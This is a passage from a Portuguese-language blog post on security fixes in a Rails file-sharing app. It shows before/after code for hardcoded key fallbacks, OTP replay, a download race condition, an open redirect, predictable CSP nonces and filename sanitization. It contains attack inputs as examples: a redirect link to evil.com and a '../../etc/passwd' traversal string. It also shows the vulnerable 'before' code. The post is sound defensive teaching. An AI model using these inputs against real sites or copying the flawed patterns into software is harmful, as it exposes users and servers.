<h3>Fase 1: &ldquo;Funciona na minha máquina&rdquo; (12:40 - 12:46)<span class="hx:absolute hx:-mt-20" id="fase-1-funciona-na-minha-máquina-1240---1246"></span>
    <a href="#fase-1-funciona-na-minha-m%c3%a1quina-1240---1246" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Quatro commits em 6 minutos. Sabe o que aconteceu? Fui buildar o Docker e <strong>quebrou</strong>. Faltava <code>libssl-dev</code>. Consertei. Daí o CSP (Content Security Policy) do <code>secure_headers</code> conflitava com os inline scripts do importmap do Rails. Consertei. Mudei a porta de 3000 pra 3100 pra não conflitar com outros serviços no meu server.</p>
<p>Olha o commit <code>389ebe8</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># CSP agora é feito pelo Rails built-in, não pelo secure_headers</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Porque secure_headers não suporta nonces pra importmap inline scripts</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">csp</span> <span class="o">=</span> <span class="no">SecureHeaders</span><span class="o">::</span><span class="no">OPT_OUT</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse tipo de incompatibilidade entre gems você só descobre na hora. Nenhum LLM vai te avisar disso de antemão porque é uma combinação específica de versões.</p>
<h3>Fase 2: O Commit de Segurança &ndash; 22 Falhas Corrigidas (13:10)<span class="hx:absolute hx:-mt-20" id="fase-2-o-commit-de-segurança--22-falhas-corrigidas-1310"></span>
    <a href="#fase-2-o-commit-de-seguran%c3%a7a--22-falhas-corrigidas-1310" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Esse é o commit mais importante do projeto inteiro: <code>4a854a6</code>. 35 arquivos, 612 linhas, 22 issues de segurança corrigidas. Vou detalhar porque é aqui que se separa código de brinquedo de código de produção.</p>
<p>O que o commit inicial fazia de errado:</p>
<p><strong>CRÍTICO &ndash; Chaves de criptografia com fallback hardcoded:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># ANTES (perigoso):</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">active_record</span><span class="o">.</span><span class="n">encryption</span><span class="o">.</span><span class="n">primary_key</span> <span class="o">=</span> <span class="no">ENV</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="s2">&#34;KEY&#34;</span><span class="p">,</span> <span class="s2">&#34;test-primary-key&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># DEPOIS (fail-fast):</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="no">Rails</span><span class="o">.</span><span class="n">env</span><span class="o">.</span><span class="n">production?</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">active_record</span><span class="o">.</span><span class="n">encryption</span><span class="o">.</span><span class="n">primary_key</span> <span class="o">=</span> <span class="no">ENV</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="s2">&#34;ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se o ENV var não existisse em produção, a app rodava feliz com a chave hardcoded. Qualquer pessoa que lesse o código-fonte conseguiria decriptar os segredos OTP de todos os usuários. Agora em produção, se faltar a variável, a app <strong>crasheia no boot</strong>. É o comportamento correto.</p>
<p><strong>CRÍTICO &ndash; Replay Attack no OTP:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># ANTES:</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">verify_otp</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">totp</span> <span class="o">=</span> <span class="no">ROTP</span><span class="o">::</span><span class="no">TOTP</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">otp_secret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">totp</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="ss">drift_behind</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span> <span class="ss">drift_ahead</span><span class="p">:</span> <span class="mi">30</span><span class="p">)</span><span class="o">.</span><span class="n">present?</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># DEPOIS:</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">verify_otp</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">totp</span> <span class="o">=</span> <span class="no">ROTP</span><span class="o">::</span><span class="no">TOTP</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">otp_secret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">timestamp</span> <span class="o">=</span> <span class="n">totp</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="ss">drift_behind</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span> <span class="ss">drift_ahead</span><span class="p">:</span> <span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">timestamp</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Previne replay: rejeita se o timestamp desse código já foi usado</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">last_otp_at</span><span class="o">.</span><span class="n">present?</span> <span class="o">&amp;&amp;</span> <span class="no">Time</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="n">last_otp_at</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kp">false</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">update_column</span><span class="p">(</span><span class="ss">:last_otp_at</span><span class="p">,</span> <span class="no">Time</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="n">timestamp</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="kp">true</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Todo tutorial de TOTP que você encontra na internet mostra o <code>verify(code).present?</code> e para aí. O problema: um código TOTP é válido por 30 segundos. Se eu interceptar seu código (shoulder surfing, câmera, clipboard), posso usá-lo múltiplas vezes nessa janela. O <code>last_otp_at</code> garante one-time use real.</p>
<p><strong>ALTO &ndash; Race Condition no Download Counter:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># ANTES (race condition):</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">increment_download!</span>
</span></span><span class="line"><span class="cl">  <span class="n">increment!</span><span class="p">(</span><span class="ss">:download_count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># DEPOIS (atômico):</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">increment_download!</span>
</span></span><span class="line"><span class="cl">  <span class="nb">self</span><span class="o">.</span><span class="n">class</span><span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="nb">id</span><span class="p">:</span> <span class="nb">id</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="s2">&#34;download_count &lt; max_downloads&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="s2">&#34;expires_at &gt; ?&#34;</span><span class="p">,</span> <span class="no">Time</span><span class="o">.</span><span class="n">current</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">update_all</span><span class="p">(</span><span class="s2">&#34;download_count = download_count + 1&#34;</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>increment!</code> faz: (1) lê o valor, (2) soma 1 em Ruby, (3) escreve de volta. Duas requisições simultâneas podem ler <code>4</code>, ambas escreverem <code>5</code>, e o usuário ganha dois downloads quando só tinha um. O <code>UPDATE ... WHERE</code> atômico no SQL garante que só uma requisição vence. E o <code>== 1</code> retorna sucesso/falha numa única operação, sem lock.</p>
<p>Isso é o clássico bug TOCTOU (Time of Check, Time of Use). Você nunca vai ver isso no desenvolvimento local com um browser. Só aparece em produção com requisições concorrentes.</p>
<p><strong>ALTO &ndash; Open Redirect após login:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># DEPOIS:</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">safe_redirect_url?</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">uri</span> <span class="o">=</span> <span class="no">URI</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">uri</span><span class="o">.</span><span class="n">host</span><span class="o">.</span><span class="n">nil?</span> <span class="o">||</span> <span class="n">uri</span><span class="o">.</span><span class="n">host</span> <span class="o">==</span> <span class="n">request</span><span class="o">.</span><span class="n">host</span>
</span></span><span class="line"><span class="cl"><span class="k">rescue</span> <span class="no">URI</span><span class="o">::</span><span class="no">InvalidURIError</span>
</span></span><span class="line"><span class="cl">  <span class="kp">false</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Sem isso, um atacante podia enviar um link tipo <code>frankmega.com/session?return_to=https://evil.com</code> e após login o usuário seria redirecionado pro site malicioso.</p>
<p><strong>MÉDIO &ndash; Nonce do CSP previsível:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># ANTES:</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">content_security_policy_nonce_generator</span> <span class="o">=</span> <span class="o">-&gt;</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="p">{</span> <span class="n">request</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">id</span><span class="o">.</span><span class="n">to_s</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># DEPOIS:</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">content_security_policy_nonce_generator</span> <span class="o">=</span> <span class="o">-&gt;</span><span class="p">(</span><span class="n">_request</span><span class="p">)</span> <span class="p">{</span> <span class="no">SecureRandom</span><span class="o">.</span><span class="n">base64</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> <span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Session ID não muda entre requests. Se o nonce é previsível, um atacante pode injetar scripts com o nonce correto. Tem que ser aleatório por request.</p>
<p>E mais: IPv6 do Cloudflare adicionado aos trusted proxies, mínimo de 12 caracteres pra senha, MIME detection server-side via Marcel, verificação de file size pelo tempfile (não pelo header do client que pode ser forjado), proteção contra deletar/banir/rebaixar o último admin.</p>
<p>O total de testes pulou de 73 pra 109 com esse único commit.</p>
<h2>Como Rails Facilita Segurança<span class="hx:absolute hx:-mt-20" id="como-rails-facilita-segurança"></span>
    <a href="#como-rails-facilita-seguran%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Rails torna MUITO mais fácil implementar segurança do que fazer do zero. Olha a comparação:</p>
<table>
  <thead>
      <tr>
          <th>Feature</th>
          <th>Rails</th>
          <th>Do zero</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CSRF</td>
          <td>Automático no <code>ActionController::Base</code></td>
          <td>Implementar tokens por sessão em todos os forms</td>
      </tr>
      <tr>
          <td>Hash de senha</td>
          <td><code>has_secure_password</code> (1 linha)</td>
          <td>Escolher algoritmo, salt, implementar verificação</td>
      </tr>
      <tr>
          <td>Parâmetros filtrados</td>
          <td><code>config.filter_parameters</code></td>
          <td>Hook no sistema de logging</td>
      </tr>
      <tr>
          <td>Strong params</td>
          <td><code>params.require().permit()</code></td>
          <td>Middleware de whitelist manual</td>
      </tr>
      <tr>
          <td>Criptografia de campos</td>
          <td><code>encrypts :otp_secret</code> (1 linha)</td>
          <td>Envelope encryption, key rotation, decrypt transparente</td>
      </tr>
      <tr>
          <td>CSP com nonces</td>
          <td>Config de 1 bloco</td>
          <td>Gerar nonces, injetar nos tags HTML, setar headers</td>
      </tr>
      <tr>
          <td>Rate limiting (Rails 8)</td>
          <td><code>rate_limit to: 10, within: 3.minutes</code></td>
          <td>Storage de contadores, lógica de sliding window</td>
      </tr>
      <tr>
          <td>SQL injection</td>
          <td>Parameterized queries by default</td>
          <td>Parametrizar manualmente cada query</td>
      </tr>
  </tbody>
</table>
<p>O Rails 8 em particular trouxe o <code>rate_limit</code> built-in no controller:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">SessionsController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
</span></span><span class="line"><span class="cl">  <span class="n">rate_limit</span> <span class="ss">to</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span> <span class="ss">within</span><span class="p">:</span> <span class="mi">3</span><span class="o">.</span><span class="n">minutes</span><span class="p">,</span> <span class="ss">only</span><span class="p">:</span> <span class="ss">:create</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="ss">with</span><span class="p">:</span> <span class="o">-&gt;</span> <span class="p">{</span> <span class="n">redirect_to</span> <span class="n">new_session_path</span><span class="p">,</span> <span class="ss">alert</span><span class="p">:</span> <span class="n">t</span><span class="p">(</span><span class="s2">&#34;flash.sessions.create.rate_limit&#34;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E a autenticação? Rails 8 agora vem com um <strong>authentication generator</strong> built-in. Não precisa mais do Devise pra coisas básicas. O <code>app/controllers/concerns/authentication.rb</code> do FrankMega é baseado nisso e estende com 2FA, passkeys e invitation-only registration.</p>
<h2>File Sharing Não É Só Download<span class="hx:absolute hx:-mt-20" id="file-sharing-não-é-só-download"></span>
    <a href="#file-sharing-n%c3%a3o-%c3%a9-s%c3%b3-download" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma coisa que muita gente não percebe: um serviço de file sharing tem uma superfície de ataque enorme. Não é só &ldquo;salvar arquivo, gerar link&rdquo;. Olha tudo que precisa ser considerado:</p>
<h3>Sanitização de Filename<span class="hx:absolute hx:-mt-20" id="sanitização-de-filename"></span>
    <a href="#sanitiza%c3%a7%c3%a3o-de-filename" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">sanitize_filename</span><span class="p">(</span><span class="nb">name</span><span class="p">,</span> <span class="n">content_type</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="no">File</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="nb">name</span><span class="o">.</span><span class="n">to_s</span><span class="p">)</span>                          <span class="c1"># Strip path traversal</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s2">&#34;UTF-8&#34;</span><span class="p">,</span> <span class="ss">invalid</span><span class="p">:</span> <span class="ss">:replace</span><span class="p">,</span>      <span class="c1"># Handle invalid UTF-8</span>
</span></span><span class="line"><span class="cl">                                <span class="k">undef</span><span class="p">:</span> <span class="ss">:replace</span><span class="p">,</span> <span class="ss">replace</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/[\x00-\x1f\x7f\/\\:*?&#34;&lt;&gt;|]/</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="c1"># Control chars + unsafe chars</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="sr">/\A\.+/</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>                        <span class="c1"># Leading dots (hidden files)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/\s+/</span><span class="p">,</span> <span class="s2">&#34; &#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span>                  <span class="c1"># Collapse whitespace</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Windows reserved device names</span>
</span></span><span class="line"><span class="cl">  <span class="n">base_without_ext</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="sr">/\.[^.]*\z/</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">base_without_ext</span><span class="o">.</span><span class="n">match?</span><span class="p">(</span><span class="sr">/\A(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])\z/i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sanitized</span> <span class="o">=</span> <span class="s2">&#34;_</span><span class="si">#{</span><span class="n">sanitized</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">strip_extension_junk</span><span class="p">(</span><span class="n">sanitized</span><span class="p">,</span> <span class="n">content_type</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">truncate_filename</span><span class="p">(</span><span class="n">sanitized</span><span class="p">,</span> <span class="mi">255</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span><span class="o">.</span><span class="n">presence</span> <span class="o">||</span> <span class="s2">&#34;unnamed_file&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Cada linha existe por um motivo:</p>
<ul>
<li><code>File.basename</code> impede path traversal (<code>../../etc/passwd</code> vira <code>passwd</code>)</li>
<li>Strip de control chars impede null byte injection e terminal escape injection</li>
<li>Nomes reservados do Windows (CON, NUL, AUX, LPT1-9) causam problemas se o storage for acessado de um Windows</li>
<li>Truncamento pra 255 bytes (não caracteres!) preservando a extensão &ndash; um emoji de 4 bytes conta como 4 pro limite do ext4/NTFS</li>
<li><code>strip_extension_junk</code> trata nomes que vêm de URLs com parâmetros grudados: <code>photo.jpg_1280x720+quality=80</code> vira <code>photo.jpg</code></li>
</ul>
<p>E isso é server-side. Tem validação client-side também no Stimulus controller pra rejeitar antes do upload:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">isInvalidFilename</span><span class="p">(</span><span class="nx">name</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">new</span> <span class="nx">Blob</span><span class="p">([</span><span class="nx">name</span><span class="p">]).</span><span class="nx">size</span> <span class="o">&gt;</span> <span class="mi">255</span><span class="p">)</span> <span class="k">return</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="sr">/[\x00-\x1f\x7f/:*?&#34;&lt;&gt;|\\]/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">name</span><span class="p">))</span> <span class="k">return</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>MIME Type Detection Server-Side<span class="hx:absolute hx:-mt-20" id="mime-type-detection-server-side"></span>
    <a href="#mime-type-detection-server-side" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

